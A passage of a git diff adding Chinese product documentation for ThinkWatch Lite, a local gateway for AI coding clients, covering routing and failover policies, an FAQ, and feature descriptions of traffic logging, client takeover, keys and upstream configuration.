在路由页的「策略组」标签中选择「新建策略组」。填写「名称」,选择「策略」,在「成员」中勾选上游并拖动排序,然后选择「创建」。策略为「轮询」时,还要填写每个成员的「权重」并选择「分配依据」。 +3. 在「路由」标签中打开路由,对要使用该策略组的规则选择「编辑…」(通常是「全部请求(兜底)」那一条),在「转发至」中选择该策略组,并在两个对话框中各选择一次「保存」。 +4. 「试算」可以检查结果,不会发出请求。在流量页打开请求,「路由」标签的「尝试链」列出尝试过的每个上游。 + +## 说明 + +| 策略 | 成员的顺序 | +|---|---| +| 「按顺序」 | 按列表顺序。 | +| 「轮询」 | 在成员之间轮流分配请求,比例与权重相同。 | +| 「延迟最低」 | 按各上游最近 32 个流式回答首 token 时间的中位数排序;样本不足 3 个时以启动时的链路测速代替,两者都没有的排在后面。 | +| 「费用最低」 | 按各上游价目表中所请求模型的输入单价排序;设为不计费的排在最前,无法计价的排在最后。 | +| 「手动选择」 | 优先使用的上游排在最前,其余按列表顺序。 | + +策略只决定顺序,所有成员都留作故障转移的后备。 + +- **何时换到下一个上游。**在尚未向客户端发出任何内容时,上游出现以下情况,网关即改用下一个成员:无法连接或读不到它的凭据;返回 5xx、429、401、403、402 或 404;返回 400 或 422,且错误信息说明余额不足、额度用完或模型不可用;流式回答在第一段内容之前报错,例如过载;在无响应超时内没有发出内容。其他 4xx,以及最后一个成员返回的 4xx(429 除外),原样返回客户端。 +- **权重与分配依据。**「轮询」策略组中,成员的权重(1 到 100)就是它长期分到的请求比例:权重 7 与 3 时,每十个请求中七个交给前者,与另外三个交错分配。「按比例」只看权重;「按速度」再乘以该上游开始回答比成员中位数快多少(首 token 时间之比的平方,限定在 0.1 到 10 之间);「按稳定性」再乘以它 30 分钟内最近 50 次结果的成功率(取平方,最低 0.05);「按速度和稳定性」两者都乘。样本不足的上游按平均水平计算;因对话延续而留在某个上游的请求计入它的份额;暂停中或并发已满的成员本轮不参与。 +- **无响应。**上游连续「设置 › 故障转移」中的「无响应超时」(默认 300 秒,可设 30 到 3,600 秒)没有发出内容时,网关放弃这个上游。只有内容才计入:文字、推理或工具调用,保活心跳不算。计时从请求发给这个上游时开始,等待空位的时间不计入,每收到一段内容重新计时。尚未向客户端发出内容时,请求转到下一个上游,没有响应的上游计一次失败,按暂停规则处理;没有可用的上游时,客户端收到其自身格式的超时错误。回答已经开始时,以客户端能识别的错误事件结束。非流式回答同样最多等待这么久。流式回答最多压住 15 秒,此后客户端先收到响应头和保活注释(Gemini 客户端只收到响应头),因此不会在网关仍可转到下一个上游时自行放弃。没有响应的上游,首 token 时间按等待的全部时长记录,「延迟最低」与「按速度」因此把它排到后面。请求的「路由」标签把这次尝试标为「无响应超时 · 300 秒」,并标出上游可能已计费的输入。长时间思考而不发出任何内容的模型,可能需要更长的超时。 +- **并发上限。**设置了「并发上限」的上游同时最多接收这么多请求。上游已满时,留在它上面的对话等待空位,等不到再换下一个,其他请求直接交给下一个成员;所有成员都满时,请求等待最先空出的位置,最长为「设置 › 故障转移」中的「最多等待空位」(默认 30 秒),仍无空位则返回 429 并带 `Retry-After`;此前已有尝试发出时,返回那次尝试的错误。密钥的分钟、小时用量上限共用这段等待;流量页会标出每一次跳过和排队时间。 +- **暂停。**失败的上游按「设置 › 故障转移」暂停使用,默认值为:「连续失败」3 次后暂停 60 秒,此后每次加倍,最长 600 秒;「余额不足」暂停 30 分钟;「额度用完」暂停到重置时刻,未给出时暂停 60 分钟;「限流」按上游要求的等待时间暂停,最长 60 分钟。只有一个上游的规则不受暂停影响;所有成员都在暂停时,网关仍会逐个尝试。在流量页手动中止的请求不计入上游的失败。 +- **会话与提示缓存。**同一轮之内(客户端回传工具结果期间),请求沿用这一轮开头确定的规则和回答它的上游。跨轮时,如果上次回答在五分钟以内、且读写了至少 1,024 个缓存 token,对话继续使用该上游,因为换到别处要按全价重建缓存;否则,或者该上游正在暂停时,由策略重新排序,「轮询」正是在这时轮到下一个成员。请求「路由」标签中的「对话延续」一行说明请求是否因此留在原上游。 +- **模型名相同。**每个成员收到的都是客户端请求的模型名,或者规则改写之后的模型名。模型列表中没有该模型的成员会被跳过;没有模型列表的成员照常尝试,它返回 404 时请求换到下一个。成员能服务、却没有列进模型列表的模型,可以在上游页该成员的模型列表中选择「添加模型…」加上,也可以在它的编辑对话框的「模型」一节中添加。 +- **回退到另一个模型。**添加一条规则:条件「选定上游」选择后备上游,「命中后」选择「继续匹配」,在「改写参数」的「模型改为」中填写它的模型。这样的规则在每次选定上游之后判断,故障转移之后同样适用。更换模型后已缓存的 prompt 不再命中,费用按发出的模型名计算。 + +相关文档:[切换中转站、上游或模型,无需重启 Claude Code 与 Codex](/zh-CN/docs/lite/switch-upstreams-without-restart/)、[功能详解](/zh-CN/docs/lite/features/#路由与故障转移)、[安装与更新](/zh-CN/docs/lite/install/)。 diff --git a/src/content/docs-lite/zh-CN/faq.md b/src/content/docs-lite/zh-CN/faq.md new file mode 100644 index 0000000..77e2ac7 --- /dev/null +++ b/src/content/docs-lite/zh-CN/faq.md @@ -0,0 +1,79 @@ +# ThinkWatch Lite 常见问题 + +关于 ThinkWatch Lite 的常见问题与简要回答,适用于 2026.10.4 版本。详细说明见[功能详解](/zh-CN/docs/lite/features/)与[安装与更新](/zh-CN/docs/lite/install/)。 + +## ThinkWatch Lite 是什么? + +ThinkWatch Lite 是一款桌面应用,在本机为 Claude Code、Codex 等 AI 客户端运行一个网关,支持 macOS、Windows 与 Linux。客户端只需接入网关一次,此后更换上游或模型都在网关中完成,不再改动客户端的配置。每个请求的去向与费用都有记录;请求离开本机之前可以把其中的凭据替换为占位符,回答中的危险工具调用可以在客户端执行之前切断。 + +## ThinkWatch Lite 免费吗? + +免费。ThinkWatch Lite 及其网关 ThinkWatch Core 以 MIT 许可证开源,可免费使用、修改和再分发,商业或非商业用途均可。应用不需要注册账号。请求产生的费用由所发往的上游收取,例如 API 服务商或中转站。 + +## ThinkWatch Lite 支持哪些客户端? + +ThinkWatch Lite 可以在客户端页一键接管 12 个客户端:Claude Code、Claude Desktop、Codex(含 ChatGPT 桌面版中的 Codex)、opencode、Pi、oh-my-pi、Grok Build、Qwen Code、Hermes Agent、Zed、Aider 与 DeepSeek Harness。Cursor、Continue 与 Antigravity CLI 提供逐步的配置方法,并为其创建密钥。 + +其他使用 Anthropic、OpenAI 或 Gemini 接口的客户端,可以填入网关地址(默认 `http://127.0.0.1:8788`)和密钥页中的一把密钥接入。 + +## ThinkWatch Lite 支持哪些平台? + +ThinkWatch Lite 支持 macOS 12 及以上(Apple 芯片,不提供 Intel 芯片 Mac 的版本);Windows 10 21H2 及以上(x64、ARM64,提供安装程序与绿色版);Linux(x86_64、aarch64,以 AppImage 发布),需要 Ubuntu 22.04、Debian 12、Fedora 36 或更新的发行版。 + +在 Windows 上,安装在 WSL 中的 Claude Code 与 Codex 也可以接管,前提是 WSL 1,或使用 mirrored 网络模式的 WSL 2(需要 Windows 11 22H2 及以上、WSL 2.0.5 及以上)。 + +## ThinkWatch Lite 能使用 Claude Pro 或 Max 订阅吗? + +不能。ThinkWatch Lite 不支持 Claude 订阅账号登录,网关也会拒绝配置中的 Claude 订阅登录凭据。Claude Code 被接管后,请求使用网关密钥发出,不再使用 Claude Code 中登录的订阅;在客户端页还原 Claude Code 后,它恢复使用自己的登录。 + +经由网关,Claude Code 可以使用 Anthropic API 密钥、Amazon Bedrock、中转站、ChatGPT 账号,或经 API 格式转换使用其他服务商的模型。 + +## ThinkWatch Lite 能使用中转站和 GLM、Kimi、通义千问、DeepSeek 等国产模型吗? + +能。任何提供 Anthropic、OpenAI 或 Gemini 接口的服务都可以作为上游:在上游页点击「新建上游」,「服务类型」选择「自定义」,填写「接口地址」与「API 密钥」。「服务类型」中列有 DeepSeek、OpenRouter、Sub2API 与 New API / One API;Z.ai 或 BigModel 账号可以直接在应用内登录,并显示 GLM Coding Plan 的额度。 + +Kimi For Coding、百炼 Coding Plan 等只接受特定客户端的上游,需要在该上游的连接设置中打开「转发客户端身份」,否则请求以 ThinkWatch 的身份发出。中转站的价格与官方不同时,可以使用自定义价目表;路由规则可以改写客户端请求的模型名,此时按发出的模型名计价。 + +## ThinkWatch Lite 与 CC Switch 有什么区别? + +CC Switch 通过改写各客户端的配置文件切换供应商,并统一管理各客户端的 MCP 服务器、提示词与技能。ThinkWatch Lite 让客户端只接入一次本机网关,由网关对每个请求进行路由、记录与计价,并可以在请求发出前替换凭据、切断回答中的危险工具调用。详细对比见 [ThinkWatch Lite 与 CC Switch 对比](/zh-CN/docs/lite/compare-cc-switch/)。 + +## ThinkWatch Lite 会修改客户端的配置吗?如何还原? + +ThinkWatch Lite 只在客户端页接管客户端时修改它的配置,且只修改指向网关所需的设置。写入之前,页面给出完整的改动差异,并完整备份原文件。对某个客户端选择「还原…」,或选择「全部还原…」,即可写回原来的值。 + +删除应用之前应先在「设置 › 完全卸载」中卸载,它会还原所有已接管的客户端:直接把应用移到废纸篓,或直接删除 AppImage、绿色版文件夹,都不会还原客户端的配置。 + +## ThinkWatch Lite 的数据保存在哪里?会连接哪些地址? + +配置、密钥与请求记录都保存在本机:macOS 与 Linux 在 `~/.thinkwatch`,Windows 安装版在 `%APPDATA%\ThinkWatch`,Windows 绿色版在程序旁边的 `data\` 文件夹。网关默认只监听本机 `127.0.0.1` 的 8788 端口。 + +除了转发请求时连接所配置的上游,ThinkWatch Lite 还会连接 GitHub 检查更新,并每天更新一次 LiteLLM 公开的价目表。登录 ChatGPT 或 Z.ai 账号时会打开它们的授权页面;只有配置了远程 core 时才会连接远程 core。 + +## ThinkWatch Lite 会收集使用数据吗? + +不会。ThinkWatch Lite 不含任何统计或遥测代码,不向项目发送任何使用情况。检查更新时从项目的 GitHub release 页面下载一份很小的版本清单,GitHub 会像对待其他下载一样计入下载次数;在「设置 › 关于」中关闭「自动检查新版本」即可停止自动检查。「设置 › 关于」中生成的诊断包保存在本机,其中的密钥与地址已脱敏,只有在用户主动提供时才会离开本机。 + +## ThinkWatch Lite 的安装包为什么没有签名?如何校验? + +ThinkWatch Lite 未经 Apple 注册开发者签名,Windows 版本也未经代码签名,因此首次打开需要多一步操作。通过 Homebrew 安装时,cask 会自动移除 macOS 的隔离属性;从磁盘映像安装时,执行 `xattr -dr com.apple.quarantine "/Applications/ThinkWatch Lite.app"`,或在首次打开被拒绝后,于「系统设置 › 隐私与安全性」中点击「仍要打开」。Windows 上 SmartScreen 显示警告时,依次点击「更多信息」「仍要运行」。 + +[release 页面](https://github.com/ThinkWatchProject/ThinkWatch-Lite/releases/latest)上的每个文件旁都附有 `.sha256` 文件,macOS 上用 `shasum -a 256 -c`、Linux 上用 `sha256sum -c` 校验,Windows 上与 `Get-FileHash` 的输出核对。应用内更新下载的文件用编译进应用的公钥验签;源代码也可以在本机自行构建。 + +## 在 ThinkWatch Lite 中切换上游会丢失 Codex 的会话吗? + +不会。ThinkWatch Lite 只写入一次 Codex 的配置,其中的 model provider 名为 `thinkwatch`,指向网关;此后更换上游都在网关中进行,每个会话记录的 provider 不变,仍留在 Codex 的会话列表中。接管之前的会话单独显示,可以用 `codex resume <会话 ID> -c model_provider=thinkwatch` 通过网关继续。 + +对话中途换到另一个上游时,前一个账号封存的推理内容新上游无法读取。新上游因此拒绝请求时,网关去掉这部分封存的推理并重发一次,对话中的消息与工具调用都保留,对话得以继续。 + +## ThinkWatch Lite 能部署在服务器上吗? + +网关可以。ThinkWatch Core 以 systemd 服务运行在 Linux 上(x86_64 或 aarch64,glibc 2.35 及以上,例如 Ubuntu 22.04、Debian 12)。桌面应用在「设置 › 连接」中选择「添加远程连接」即可连接它,控制通道经 Noise 握手加密和认证,连接后显示该服务器的流量、费用与配置。其他机器上的客户端需手动填入服务器的网关地址和一把网关密钥。详见[服务器部署](/zh-CN/docs/core/server-deployment/)与[连接远程 core](/zh-CN/docs/lite/remote-core/)。 + +## ThinkWatch Lite 如何更新和卸载? + +ThinkWatch Lite 启动两分钟后检查一次新版本,此后每天检查一次。从 release 页面下载安装的,点击一次即可完成更新:应用校验下载的文件,等待进行中的请求结束后重新启动。通过 Homebrew 安装的,改用 Homebrew 更新:`brew update && brew upgrade --cask thinkwatch-lite`。 + +卸载时先在「设置 › 完全卸载」中卸载,它会还原已接管的客户端、取消开机启动,并可同时删除数据目录;之后在 macOS 上把应用移到废纸篓,在 Linux 上删除 AppImage,在 Windows 绿色版上删除整个文件夹。Windows 安装版也可以通过系统卸载,卸载程序会先完成同样的还原。 + +相关文档:[功能详解](/zh-CN/docs/lite/features/)、[安装与更新](/zh-CN/docs/lite/install/)、[ThinkWatch Lite 与 CC Switch 对比](/zh-CN/docs/lite/compare-cc-switch/)、[连接远程 core](/zh-CN/docs/lite/remote-core/)。 diff --git a/src/content/docs-lite/zh-CN/features.md b/src/content/docs-lite/zh-CN/features.md new file mode 100644 index 0000000..24bfcdc --- /dev/null +++ b/src/content/docs-lite/zh-CN/features.md @@ -0,0 +1,118 @@ +# 功能详解 + +逐页说明 ThinkWatch Lite 展示的内容与提供的功能。简要介绍见 [Lite 产品页](/zh-CN/lite)。 + +主窗口共有十个页面:概览、流量、客户端、密钥、上游、路由、安全、MCP、插件和设置。 + +## 用量与费用 + +概览页按最近 24 小时、7 天、30 天或自定义区间统计,在一屏之内分为六张卡片:「Token」「费用」「缓存命中」「请求」「首 token」与「流量」。每张卡片给出数值,以及与上一个同等长度的区间相比的变化。除「缓存命中」外,每张卡片都带有一张该区间的小图;指向任意一张小图时,所有小图都标出同一时刻,数值显示在指针所在的卡片上。「缓存命中」显示命中率、缓存带来的净节省,以及输入在缓存读取、新输入与缓存写入之间的构成。「首 token」按时间显示首 token 时间的中位数与 P95,没有请求的时段以淡色虚线连接。「流量」是请求发往上游与从上游收到的数据量(见[流量与会话](#流量与会话)),上传与下载各绘一条线。 + +卡片上方的提示条逐项列出需要处理的事:失败的请求、被切断的工具调用、无法使用的上游(熔断中、凭据被拒或需要重新登录),以及无法计价的请求,每一项都附有前往处理的页面;没有需要处理的事时不显示。每一项都可以忽略,忽略后有新情况时再次出现;请求记录无法启动的提示,以及连接断开、配置未通过校验的横幅同样可以忽略,「设置 › 通用」可以让忽略过的提醒全部重新显示。卡片下方的明细表按模型、上游或密钥列出请求、token、费用、缓存命中、首 token 与生成速度(生成速度只按模型和上游统计),点击一行即在流量页打开对应的请求。选择「实时」时,「Token」「费用」「请求」三张卡片显示最近十分钟,其余卡片、提示条与明细表按最近 24 小时统计。 + +费用会注明其中估算的部分,例如响应结束前被中断的请求。模型未定价的请求和上游未报告用量的请求单独计数,从不按零计入。价格来自价目表:默认价目表采用 LiteLLM 的公开价格,每天更新一次;自定义价目表在其基础上设置倍率,并可单独为个别模型定价,适用于价格与官方不同的中转服务。ChatGPT 这类订阅账号同样按价目表计价,本地模型等上游可设为不计费。每个请求的费用在请求结束时确定,并注明计价所用的价目表及其数据日期。 + +还没有请求经过上游时,概览页改为显示「开始使用」清单:添加上游、接管客户端、发出第一条请求。其他页面在适用之处提示下一步,例如有了上游之后提示接管客户端。提示可以设为不再显示,「设置 › 通用」可以让它们重新显示。 + +## 流量与会话 + +流量页实时列出请求:状态、密钥、模型、上游、首 token 时间与总耗时(悬停时显示生成速度)、token(悬停时显示上传与下载)和费用,并标出格式转换、被脱敏的密钥、被内容过滤删除的文字,以及被拦截或可疑的工具调用。上游、模型和密钥的名称过长时截断显示,悬停可查看全名。列表可以搜索(路径、密钥、上游、模型与错误信息),可以按密钥、上游和模型筛选,或只看失败、无法计价的请求。列表装有最近 2,000 条请求,搜索与筛选同时在全部请求记录中进行,可以继续向更早的记录搜索。打开「搜索内容」后,还会搜索每个请求新发送的内容(最后一轮用户消息,含工具结果)及其回答(含工具调用),范围以报文仍保留的请求为限;命中的片段显示在对应请求的下方。「会话」视图把同一段对话的请求归为若干轮次,给出每一轮的输入 token 与费用。每一轮还标出模型的上下文窗口用了多少:发给模型的 token 相对上下文窗口的比例,其中缓存读取单独成段;打开一轮,可以看到系统提示、工具定义、此前的对话与最后一条用户消息各占多少的估算。会话的「对话」页按轮还原整段对话:每一轮新加入的消息和回答,包括文字、折叠的思考、工具调用及其结果,图片只显示类型和大小。系统提示词的变化和压缩上下文之后的重新开始会标出;报文已过保留期、过大未能完整保存或无法读取的轮次会注明原因。每一轮都可以打开对应的请求。 + +打开一个请求可以查看时间线、路由(命中的规则、经过的策略组,以及每一次尝试的状态与耗时)、内容、用量与费用。时间线给出请求经由的代理(「出口」,未经代理时为「直连」),以及请求发往上游与从上游收到的数据量(「上传」与「下载」),按网络上实际传输的大小计算:在网关自身的压缩之后、解码之前,故障转移的各次尝试合计在内。DeepSeek Harness 发出的请求还会显示所带会话日志的大小:这是客户端随每个请求附带的整段对话记录,发往 DeepSeek 以外的上游之前由网关去除。已结束的请求可以在预估费用后原样发送到另一个上游,两次的响应并排对照。 + +「内容」标签页有「解析」与「原始报文」两种视图,请求进行中时两者都实时更新。「解析」以对话的形式显示,回答随流式输出逐步出现,思考与工具调用的参数同样实时显示。「原始报文」显示请求行与状态行、报文头和正文,流式返回的每个事件到达后依次追加;「跟随最新」使最新的内容保持在视野内。「原始报文」中的「客户端一侧」与「上游一侧」分别显示客户端和上游与网关之间收发的内容,转换 API 格式或插件改写请求时两者不同。两种视图中的密钥与存下的请求一样已被替换。安全规则命中之处在两种视图中都以安全日志的颜色标出,折叠的部分中含有命中时,折叠处带有一个圆点。 + +尝试链还会标出因并发已满而跳过的上游、等待空位的排队时间、超过无响应超时仍未发出内容而被放弃的上游(默认值下显示为「无响应超时 · 300 秒」)及该上游可能已计费的输入 token,以及请求被手动中止时正在进行的尝试(「手动中止」)。因密钥的用量上限或上游并发均已满而未被接下的请求,在上游的位置显示「用量上限」或「并发已满」;以 Responses API 的 WebSocket 模式建立的连接按轮记为请求,每一轮单独统计用量与费用。 + +进行中的请求可以在它的操作菜单中选择「中止请求」停止。会话的操作菜单和会话详情顶部的「中止会话」经确认后停止该会话中所有进行中的请求。与上游的连接立即断开,客户端收到错误,请求以灰色标为「手动中止」,上游不会因此被暂停。Responses API 的 WebSocket 连接中的轮次不能中止。 + +## 客户端接管 + +客户端页可以把 Claude Code、Claude Desktop、Codex、opencode、Pi、oh-my-pi、Grok Build、Qwen Code、Hermes Agent、Zed、Aider 与 DeepSeek Harness 指向网关。写入之前,页面列出将要修改的字段和这次接管的其他影响(例如 ChatGPT 桌面版与 Codex 读取同一份配置文件),给出完整的改动差异,并完整备份原文件。只修改指向网关所需的配置,每个客户端使用各自的密钥。Claude Desktop 通过官方的第三方推理模式接入,页面逐一列出要修改的各个文件;由组织统一管理的 Claude Desktop 不做修改。Claude Desktop 只接受 Claude 的模型名;没有上游提供 Claude 模型时,接管会询问它使用哪个模型,并在它的密钥上添加一条路由规则,取消接管时一并删除。已接管的客户端可以随时单独还原或全部还原;Codex 还原后保留一项直连 OpenAI 的配置,接管期间的会话仍可打开。opencode(v1 与 v2)、Pi、oh-my-pi、Grok Build 与 Qwen Code 的配置中同时写入其密钥在网关上可用的模型列表,以及每个模型的上下文窗口,客户端用到时还写入输出上限、是否支持推理与图片输入;网关上可用的模型或模型规格变化后,页面提示更新,更新同样先给出改动差异。DeepSeek Harness 的网页版、桌面版与 headless 模式读取同一份配置,都会经过网关;在桌面版中通过 DeepSeek 账号登录使用的模型仍直接连接 DeepSeek。Cursor、Continue 与 Antigravity CLI 提供逐步的配置方法,并为其创建密钥。页面列出每个客户端处于使用中、等待首个请求还是未生效,以及最近 24 小时的请求。 + +在 Windows 上,安装在 WSL 中的 Claude Code 与 Codex 按发行版单独成组,列在这台电脑的客户端之后。它们同样可以指向 Windows 上的网关、还原和检查,使用与 Windows 上那一份分开的密钥,配置文件经由 `\\wsl.localhost` 修改。写入的地址与 Windows 上的客户端相同,是 `127.0.0.1`,WSL 在以下两种情况下可以访问: + +- **WSL 1**:与 Windows 共用网络。 +- **使用 mirrored 网络模式的 WSL 2**:在 `%USERPROFILE%\.wslconfig` 的 `[wsl2]` 段(或旧的 `[experimental]` 段)中设置 `networkingMode=mirrored`,需要 Windows 11 22H2 及以上版本、WSL 2.0.5 及以上版本。 + +WSL 2 默认使用 NAT 网络,此时 Windows 上的网关无法从 WSL 内访问,网关也不会为此另外监听 WSL 的虚拟网卡。WSL 分组因此不提供接管,改为说明原因,并提供「改为 mirrored 模式」:在 `.wslconfig` 中新增或修改 `networkingMode`,文件的其他内容保持不变,与接管客户端一样先给出完整差异,确认后全文备份再写入。修改在 WSL 重启后生效,页面同时提供「重启 WSL」(执行 `wsl --shutdown`,会停止所有正在运行的发行版)。完全卸载时 `.wslconfig` 不会改回,备份保留。Windows 10 与 Windows 11 21H2 没有 mirrored 网络模式,WSL 版本低于 2.0.5 时也无法使用,页面会分别说明。连接远程 core 时,WSL 中的客户端与 Windows 上的一样指向服务器,不受网络模式限制。 + +## 密钥 + +客户端连接网关必须携带密钥,本机也不例外。密钥页列出默认密钥(供未单独分配密钥的客户端使用)和每个已接管客户端的专用密钥,并注明所属客户端,便于在流量页中区分各客户端的请求。每把密钥有各自的路由、可用模型(全部、无,或指定的模型与 `gpt-5*` 这类通配模式)、可选的并发上限与用量上限,以及最近 24 小时的请求数与费用。密钥可以停用,停用后使用它的请求一律被拒绝;也可以更换,新密钥会写入使用它的客户端的配置。 + +用量上限防止单个客户端用光预算:每条上限限定这把密钥每分钟、小时、天、周或月最多使用的请求次数、token 数或费用(美元),任一上限用满后,使用这把密钥的请求一律被拒绝,直到重置,密钥列表中标出「已达上限」。token 上限可以计入缓存读取;没有价格的模型按 0 计入费用上限,密钥对话框会列出这些模型;每天、每周或每月的上限用到八成和用满时各发送一次通知。 + +## 上游 + +上游是网关转发请求的目标:Anthropic、OpenAI、Google Gemini、DeepSeek 或任何兼容接口的 API 密钥,Amazon Bedrock(API 密钥、访问密钥或 AWS profile),在应用内登录的 ChatGPT 账号或 Z.ai / BigModel 账号,OpenRouter、Sub2API、New API / One API 等中转服务,ThinkWatch 企业版网关,以及 Ollama 等本机模型。客户端与上游的 API 格式不同时,请求在 Anthropic Messages、OpenAI Chat Completions、OpenAI Responses 与 Gemini 之间自动转换,无法转换的字段会在请求上逐一列出。模型的思考在转换中保留:DeepSeek、Kimi、GLM 等 Chat Completions 格式上游返回的思考内容原样交给客户端,下一轮送回同一上游,带工具调用的对话因此能继续;Gemini 模型工具调用上的思考签名同样保留。Chat Completions 格式的模型把工具调用写进回答正文时,只要请求定义了这个工具,网关就把它识别为普通的工具调用,并与其他工具调用一样经过工具调用审查。客户端以 gzip、deflate 或 zstd 压缩发送的请求正文照常读取,上游压缩返回的回答解码后交给客户端。Codex 等不标注提示缓存断点的客户端,请求转换后发往 Anthropic Messages 格式的上游,或 Bedrock 上 AWS 列为支持提示缓存的 Claude 模型(Claude 3.5 Sonnet v2、Claude 3.7 Sonnet 以及 Claude 4.5 起的模型)时,由网关标注断点,每一轮都能读取上一轮写入的缓存。上游拒绝这些标注时,网关去掉标注重新发送一次。上游可以经出站代理访问,也可以使用单独的价目表计价,别名、代理与价目表在同一页的标签中管理。「代理」标签页的「流量 · 24 小时」一列给出经过每个代理的上传与下载,悬停可查看 7 天与 30 天的数据。可选的「并发上限」适用于限制并发的中转站或账号:上游已满时,留在它上面的对话等待空位,其他请求交给下一个上游;所有上游都满时,请求先等待,仍无空位则返回繁忙错误。流式请求等待空位或密钥的用量窗口期间,客户端会收到保活心跳。在上游的模型列表中选择「规格…」,可以手动设置模型的上下文窗口、输出上限,以及是否支持推理与图片输入,适用于价目表中没有或数值有误的模型,手动设置的值优先于价目表。链路测速测量 DNS 解析以及 TCP、TLS、代理握手的耗时,不产生费用;推理测速测量首个 token 的时间,运行前先给出费用预估。 + +「新建上游」先选择服务。服务分为「模型厂商」(Anthropic、OpenAI、Google Gemini、DeepSeek、Z.ai / BigModel)、「平台与中转」(Amazon Bedrock、OpenRouter、ThinkWatch、Sub2API、New API / One API)与「本机与自定义」(Ollama、自定义)三组,各带标志和一句介绍,可以搜索。选定后直接进入「连接」,只询问该服务需要的内容。「认证方式」按服务给出:OpenAI 为 API 密钥或 ChatGPT 账号,Z.ai / BigModel 为 API 密钥或账号登录,Bedrock 为 API 密钥、访问密钥或 AWS profile,自定义为 API 密钥或 OAuth,ThinkWatch、Sub2API 与 New API / One API 为 API 密钥;只有一种方式的服务不显示这一项。服务已经决定的内容,例如地址、接口协议,或 Ollama 不需要密钥,直接填好或不再显示。请求头、转发客户端身份、代理不可用时的处理与并发上限收在「高级设置」中,其中任何一项有设置时自动展开。点击「下一步」即检测连接,不产生费用:通过后进入「模型」,顶部显示响应时间、发现的模型数和余额(如有);没有通过时写明原因,可以「重试」,也可以「仍然继续」,适用于拒绝检测但能正常转发的上游。ChatGPT 与 Z.ai / BigModel 账号在对话框内登录,阅读说明后,可以在默认浏览器中登录,也可以「复制链接」到常用的浏览器中打开;ChatGPT 账号还可以用设备码登录。登录后上游即写入配置,对话框直接进入「模型」,顶部显示登录的账号。连接远程 core 时,ChatGPT 账号只能用设备码登录,验证网址和设备码都可以复制。 + +「编辑上游」按地址认出服务(Sub2API、New API / One API 与 ThinkWatch 按余额来源认出),显示它的标志和名称,询问的内容与新建时一致;已经设置的值始终显示,即使该服务新建时不询问这一项。经账号登录写入的 Z.ai 或 BigModel 上游,认证方式显示为「账号登录」,可以「重新登录」;手动填写密钥的上游可以改为「账号登录」,登录后账号中取得的密钥替换当前密钥,模型范围、计费方式等设置保持不变。 + +「额度 / 计费」一列显示服务报告的额度与余额。ChatGPT 账号显示订阅额度与重置时间;GLM Coding Plan 的上游(地址在 `api.z.ai` 或 `open.bigmodel.cn` 上,在应用内登录或手动填写密钥均可)同样显示:5 小时与每周额度,积分制套餐另外显示剩余积分(「剩余 1,976 / 2,000 积分」)。其他上游显示余额:密钥的额度或最紧的时间窗口,以进度条和剩余量表示;账户中的余额(「余额 $18.40」);没有限额的密钥则显示已用金额(「本月已用 $12.40」)。悬停可以查看全部窗口的用量与重置时间、确切数字和读取时间。余额来源包括 OpenRouter、DeepSeek、Moonshot、Sub2API、New API / One API 与 ThinkWatch 企业版,按地址认出,或由新建上游时所选的服务决定。在 ThinkWatch 企业版网关上,密钥设了自己的限额时显示密钥的限额与用量;没设时显示账号的限额与所有密钥合计的用量,并注明是账号的。检测连接的结果中也显示余额,上游的菜单中有「刷新余额」。余额读不到时,悬停可以查看原因;读取余额不影响请求转发。 + +一家上游的模型,是它自己列出的模型加上手动添加的模型。上游常常没有列全它能服务的模型:账号类的后端会隐藏较新的模型,中转站只列出一部分。在上游的模型列表中选择「添加模型…」,可以按确切的模型 ID 添加这类模型,一次可以添加多个。模型 ID 不能含 `*` 或 `?`,前后不能有空格,最多 256 个字符,且不能重复;不符合要求的,以及上游已经列出的,对话框在保存之前当场指出。手动添加的模型标有「手动」,路由与故障转移、别名、指定模型的路由规则、密钥的可用模型、客户端看到的模型列表、试算与推理测速都把它当作列出的模型。列表顶部的摘要把上游列出的模型与手动添加的模型分开计数。悬停在手动添加的模型上会出现「移除」,立即生效,随后的提示中可以「撤销」。「新建上游」与「编辑上游」对话框的「模型」一节末尾有同样的输入框,无论上游是否提供模型列表,创建或编辑时都可以在这里添加模型,随上游的其他设置一起保存;启用范围为「指定模型」时,在这里添加的模型立即勾选启用。上游不提供模型列表时,手动添加的模型就是它的全部模型。 + +别名标签为模型设定客户端使用的名称。一个别名列出同一个模型在各家上游的名称,例如 Anthropic 上的 `claude-sonnet-5` 和 Bedrock 上的 `us.anthropic.claude-sonnet-5-v1:0`;提供其中任一名称的上游都能以自己的名称服务这个别名,并互为备用。客户端的模型列表里能看到别名,回答里的模型名写成客户端请求的名称,请求记录则保留每家上游实际收到的模型。同一个 Claude 模型在官方 API、Bedrock、Vertex 或 OpenRouter 上名称不同时,别名标签和新建别名对话框会建议合并。也可以在上游的模型列表里直接起别名。对话框列出每家上游将收到的名称,名称会接管另一家上游的同名模型时给出提示。密钥的可见模型允许某个上游模型时,列有它的别名也可以使用。 + +每个上游还会与服务同一模型的其他上游对照最近 7 天的数据,偏差直接标在上游列表中它的名称旁:回答中的模型名与发出的不同,标为「模型名不符」;上游报告的输入 token 相对网关本地估算的倍数明显高于或低于其他上游,标为「输入 token 偏多」或「输入 token 偏少」;后续轮次中从提示缓存读取的输入比例偏低,标为「缓存读取偏低」。悬停可以查看依据与样本数,两边样本都足够时才标出偏差。 + +API 密钥和请求头的值可以写成 `${变量名}`,读取系统环境变量。macOS 上读的是登录 shell 里的环境变量,`~/.zshrc` 等文件中 `export` 的变量都会生效,Linux 同理(`~/.bashrc`、`~/.profile` 等);Windows 上读的是系统设置里配置的环境变量。修改变量后,重新打开应用即可生效。代理相关的变量(`HTTPS_PROXY` 等)和 `PATH` 不会被读取。 + +中转站、服务商或 ThinkWatch 企业版控制台可以提供导入链接(`thinkwatch://import?…`,或网页形式 `https://thinkwat.ch/import#…`),打开预填好的「新建上游」对话框,服务类型、地址、密钥、请求头、并发上限、模型、模型规格与价目表都可以预先填写。对话框写明接收请求与密钥的主机;选择「下一步」或开始登录之前,不写入配置,也不发出任何请求。一条链接只能新增一个上游,不能设置代理、模型别名、路由或环境变量引用;需要更新版本应用的链接会提示更新。各服务类型的参数与链接生成器见[导入链接](/zh-CN/docs/lite/import-links)。 + +## 路由与故障转移 + +每把密钥使用一条路由,未指定的使用默认路由。路由由按顺序匹配的规则组成。规则的条件包括模型、密钥、客户端的 API 格式、输入 token 数、`max_tokens`、工具数量、图片、扩展思考、流式、提示缓存、辅助请求的类型以及时段;命中后把请求交给某个上游、策略组或指定模型,或拒绝请求,也可以改写模型、`max_tokens` 